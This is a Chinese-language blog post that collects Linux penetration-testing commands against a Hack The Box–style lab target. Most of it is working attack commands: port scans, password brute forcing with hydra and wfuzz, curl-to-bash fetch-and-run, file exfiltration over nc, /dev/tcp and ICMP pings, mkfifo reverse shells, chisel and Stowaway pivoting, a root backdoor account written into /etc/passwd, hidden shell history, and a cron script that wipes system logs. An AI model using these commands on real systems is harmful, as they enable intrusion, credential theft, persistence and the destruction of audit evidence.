这篇文章发表于 1520 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

这篇文章是对之前的Linux渗透的学习小总结,针对单目标,假定以下attacker的IP地址为10.10.10.165;目标victim的IP地址是10.10.10.200,域名为target.htb

文章的精髓不会强调,大多放在一些细节里,自己体会。

文中没有任何关于metasploit或是cobalt strike这样的工具使用。本文只有零散的基本操作,但是其中任何一环都不该轻视。

前期准备

在开始渗透之前,需要一定的准备。

安全工作

单目标情况下直接封死与其他机器的通信,免得被人掏了,这里封个tcp基本上能解决很多威胁。

1
2
3
4
#iptables -I INPUT -p tcp --dport 22 -j DROP
#iptables -P INPUT DROP
iptables -A INPUT -p tcp -s 10.10.10.200 -j ACCEPT
iptables -A INPUT -p tcp -s 10.10.0.0/16 -j DROP

注意这里的iptables顺序,不然会导致网络异常。

进入内网环境

这里的操作主要是为了顺滑网络连接。

1
2
nohup /usr/bin/v2ray/v2ray -confdir /etc/v2ray > /home/nohup/v2rayout.file 2>&1 &
nohup proxychains4 openvpn --config /etc/openvpn/openvpnclient.ovpn > /home/nohup/openvpnout.file 2>&1 &

注意这里的openvpn必须是tcp连接的,若是udp可能需要v2ray进行一定的配置。

域名配置

通过域名登录网站和通过IP登录网站有时候会有不同的效果。

1
echo "10.10.10.165      target.htb" >> /etc/hosts

边界突破

a. 端口扫描

给出两种最简单的扫描方案。

1
2
3
4
5
ports=$(nmap -p- --min-rate=500 -v 10.10.10.200 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.200

nmap -sV -sC -p- --min-rate 500 10.10.10.200
nmap -sU 10.10.10.200

b. 扫描与爆破

这里例举本人常用的手段,几个小例子,结合手册灵活使用即可。

子域名扫描,

1
2
./sslscan 10.10.10.200 #推荐用这个搜集ssl的信息
host -l cronos.htb 10.10.10.200

网站目录扫描wfuzz,

1
2
3
4
wfuzz -c -z file,rockyou.txt -d "password=FUZZ" --hs Invalid -Z -t 30 http://target.htb/
wfuzz -c -w directory-list-2.3-small.txt --hc "404" http://10.10.10.200/FUZZ
wfuzz -c -z file,directory-list-2.3-medium.txt -Z -t 90 --filter "c!=404 and c!=XXX" http://target.htb/FUZZ
wfuzz -c -z file,common.txt -Z --hc "404" -p 127.0.0.1:8080:HTTP -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0' -t 90 http://10.10.10.200:8000/FUZZ

登录界面爆破hydra,

1
2
3
hydra -l "" -P /usr/share/wordlists/rockyou.txt target.htb http-post-form "/:password=^PASS^:Invalid password!" -s 35542
hydra -l admin -P lists/fuzzDicts/passwordDict/top19576.txt target.htb https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password" -t 64 -V
hydra -l falaraki -P list.txt target.htb http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fapocalyst.htb%2Fwp-admin%2F&testcookie=1:incorrect" -t 64

对WordPress站点的专用扫描wpscan,

1
2
wpscan --url http://10.10.10.200 --enumerate p --api-token xxxxxx....xxx
wpscan --url http://10.10.10.200 --enumerate u

爆破各种hash密码john,

1
2
john hash --wordlist=../../rockyou.txt #hash一般是需要经过转换的
#其实推荐hashcat,但是暂时硬件无法达到相应的要求

权限扩大

a. 文件传输

放个网站进行传输,

1
2
3
4
5
6
7
for attacker:
python3 -m http.server 80 #本地开启80端口网页服务

for victim:
wget http://10.10.10.165:80/sh.sh
curl 10.10.10.165:80/sh.sh -o /dev/shm/sh.sh
curl "http://10.10.10.165/sh.sh"|bash -s -- -h #文件不落地带参数(-h)执行

利用scp进行传输(也就需要ssh密钥或是密码),

1
2
3
4
for attacker:
scp -i id_rsa target@10.10.10.200:/var/www/html/bolt/app/database/bolt.db .
proxychains4 -f /etc/proxychains-other.conf scp /home/attacker/nmap target@127.0.0.1:/tmp
#这里利用proxychains外加scp实现了传输

利用nc进行传输,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
for attacker:
nc -lnvp 8000 < sh.sh

for victim:
#cat < /dev/tcp/10.10.10.165/8000
#bash -c "cat < /dev/tcp/10.10.10.165/8000"
#bash -c "cat < /dev/tcp/10.10.10.165/8000 | bash"
bash -c "cat < /dev/tcp/10.10.10.165/8000 > /dev/shm/sh.sh"


for attacker:
nc -lnvp 8000 > secret.txt

for victim:
cat secret.txt > /dev/tcp/10.10.10.165/8000
curl --upload-file secret.txt http://10.10.10.165:8000/
wget --method=PUT --post-file=secret.txt http://10.10.10.165:8000/

b. 多级代理与ssh转发

这里先推荐chisel,虽然不错,但是用起来比较麻烦(可能需要动笔画拓扑?),特别是代理数目很多的时候。基本使用不赘述,以下例举两种重要的手法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#二级跳板流量传输
chisel server -p 8000 -reverse -V #hacker
chisel client 10.10.10.165:8000 1111:127.0.0.1:8000 & #victim&hop
chisel client 172.19.0.2:1111 2222:127.0.0.1:3333 #victim&hop
#something cause reverse-shell, reverse-connect to 2222
nc -lnvp 3333 #hacker

#开启socks5通道
chisel server -v -p 28001 -reverse #hacker
chisel client 10.10.10.165:28001 R:127.0.0.1:8001:127.0.0.1:31337 #victim
chisel server -v -p 31337 --socks5 #victim
chisel client 127.0.0.1:8001 10080:socks #hacker,这里默认开启1080

#https://github.com/jpillora/chisel

这里还有一个项目Stowaway,虽然有瑕疵,但是非常强大,而且作者依然在坚持更新,这一点难能可贵。相对而言Venom虽然先于Stowaway出现,但貌似并没有更新了。

1
2
3
4
5
6
7
8
9
10
11
12
#暂时不太好用(socks命令不加用户名密码,否则报错)的跳板工具Stowaway,但潜力极大
./admin -l 28000 -s 123(pass) #主控
./agent -m 10.10.10.165:28000 -l 20000 --startnode -s 123 --reconnect 5
(startnode) >> reflect 10000 10001
#something cause reverse-shell, reverse-connect to 10001
nc -lnvp 10000
#上传文件需要先传nc到前一级进行辅助
./agent -m 172.19.0.4:20000 -s 123 --reconnect 15
./agent -l 50000 -s 123 -r

#https://github.com/ph4ntonn/Stowaway
#https://github.com/Dliv3/Venom

后者有个掉线的bug,一旦主节点与attacker断开,子节点都会失去联系——这一点相当难受。

c. ssh端口转发

1
2
3
4
5
6
7
8
首先attacker用ssh连上一台机器,最后一下是enter,然后输入~,之后输入?或者C,然后就能进入ssh的高端场景。
#https://www.sans.org/blog/using-the-ssh-konami-code-ssh-control-sequences/

ssh> -L 8001:172.24.0.2:80 #将80端口放开在本地的8001端口上
ssh> -R 8002:127.0.0.1:8003 #将本地的8003端口向被ssh控制的机器8002端口开放
ssh -L 127.0.0.1:44443:127.0.0.1:8082 daniel@10.10.10.200 #bind
ssh -R 44443:127.0.0.1:8082 hacker@10.10.10.165 #reverse
ssh -D 1080 #在本地hacker的1080端口上相当于产生了一个socks5

shell特别部分

这部分内容不得不拿出来自成一节。普通的shell建立不赘述,这里都是一些shell有关的骚操作。

a. 特殊shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
udp方法:
nc -u -lnvp 44444 #attacker
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc -u 10.10.10.165 44444 >/tmp/f #victim


ipv6方法:
nc -6 -lnvp 44444 #attacker
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/nc -6 dead:beef:4::1060 44444 >/tmp/f #victim


icmp方法:
#检验ICMP的通畅性,甚至直接通过ICMP传内容
tcpdump -i tun0 -X icmp #attacker
ping -c 4 10.10.10.165 & #victim
xxd -p -c 4 /home/victim/cred* | while read line;do ping -c 1 -p $line 10.10.10.165;done #victim
#针对此的读取Python脚本(read_icmp.py)就在下面,注意其对应的-c 4
#另外有 https://github.com/inquisb/icmpsh 注意:此项目仅限于Windows

以下是read_icmp.py内容,

1
2
3
4
5
6
7
8
#xxd -p -c 4 /home/victim/cred* | while read line;do ping -c 1 -p $line 10.10.10.165;done #victim
from scapy.all import *
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 8:
data = pkt[ICMP].load[-4:]
print(f'{data.decode("utf-8")}', flush=True, end='')
sniff(iface='tun0', prn=process_packet)

b. 健壮shell

1
2
3
4
5
6
7
8
#以下操作都在同一个终端内进行
python -c "import pty;pty.spawn('/bin/bash')" #victim,python没有就试试python3
ctrl+Z
stty raw -echo #attacker
fg #attacker,这里可能一开始看不见输出
whoami #victim,随便输个命令并回车
export TERM=xterm #设置啥的,不是特别必要
clear

c. spawn-shell

这里为了防止在单一的shell中遇到只有ctrl+c才结束的命令,必须得多弹几个shell。

1
2
3
4
5
nohup $(./spawn_shell.sh 2>&1) & #spawn_shell.sh就是反弹shell的脚本
nohup $(sh -i >& /dev/tcp/10.10.10.165/44445 0>&1) &
#以下是结束spawn-shell的操作
nohup -l #列出挂起的进程
kill %3

另外,如果victim上面存在着tmux这样的应用,直接端口复用不失为一个好方法。

杂七杂八

这部分比较杂,也就几个小细节。

a. vi输入问题

这部分用到频率还是挺高的。实在有点无语。

1
2
:set nocompatible
:set backspace=start

b. 记录隐藏

1
2
set +o history
set -o history #恢复

Ubuntu的一些版本只要在命令最前面加上空格就不会保存相关操作信息。

c. 添加root_hacker

1
2
3
openssl passwd -1 -salt hacker password #attacker
#然后编辑/etc/passwd
hacker:$1$hacker$9MeWOdvz78rHYG01HSLfr/:0:0:root:/root:/bin/bash

d. 日志清理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#! /bin/bash
cat /dev/null > /var/log/wtmp
cat /dev/null > /var/log/btmp
cat /dev/null > /var/log/lastlog
cat /dev/null > /var/log/secure
cat /dev/null > /var/log/boot.log
cat /dev/null > /var/log/cron
cat /dev/null > /var/log/dmesg
cat /dev/null > /var/adm
cat /dev/null > ~/.sh_history
cat /dev/null > /var/log/firewalld
cat /dev/null > /var/log/maillog
cat /dev/null > /var/log/messages
cat /dev/null > /var/log/spooler
cat /dev/null > /var/log/syslog
cat /dev/null > /var/log/tallylog
cat /dev/null > /var/log/yum.log
cat /dev/null > /var/log/apache2/error.log
cat /dev/null > /var/log/apache2/access.log
cat /dev/null > /var/log/mysql/error.log
cat /dev/null > /var/log/mysql/mysql.log
cat /dev/null > /var/log/auth.log
cat /dev/null > /var/log/faillog
cat /dev/null > /var/log/nginx/access.log
cat /dev/null > /var/log/nginx/error.log
cat /dev/null > ~/.bash_history
cat /dev/null > ~/.viminfo
cat /dev/null > /var/log/apport.log
cat /dev/null > /var/log/user.log
cat /dev/null > /var/log/kern.log
cat /dev/null > /var/log/daemon.log
cat /dev/null > /var/log/redis/redis-server.log
#将脚本下载到根目录,然后 crontab -e 添加 0 */1 * * * sh /clean_log/clean_log.sh

这个有点简单粗暴。。。

e. 文件打包

盗源码偷环境的必备技能……

1
2
3
4
tar -zcvf HTB.tar.gz HTB/
tar xvf HTB.tar.gz
zip -r HTB.zip HTB/
unzip HTB.zip

文章只是渗透操作的冰山一角。如果你能够注意到一些细节的话,那再好不过了,我相信其他地方是很难找到的hhh。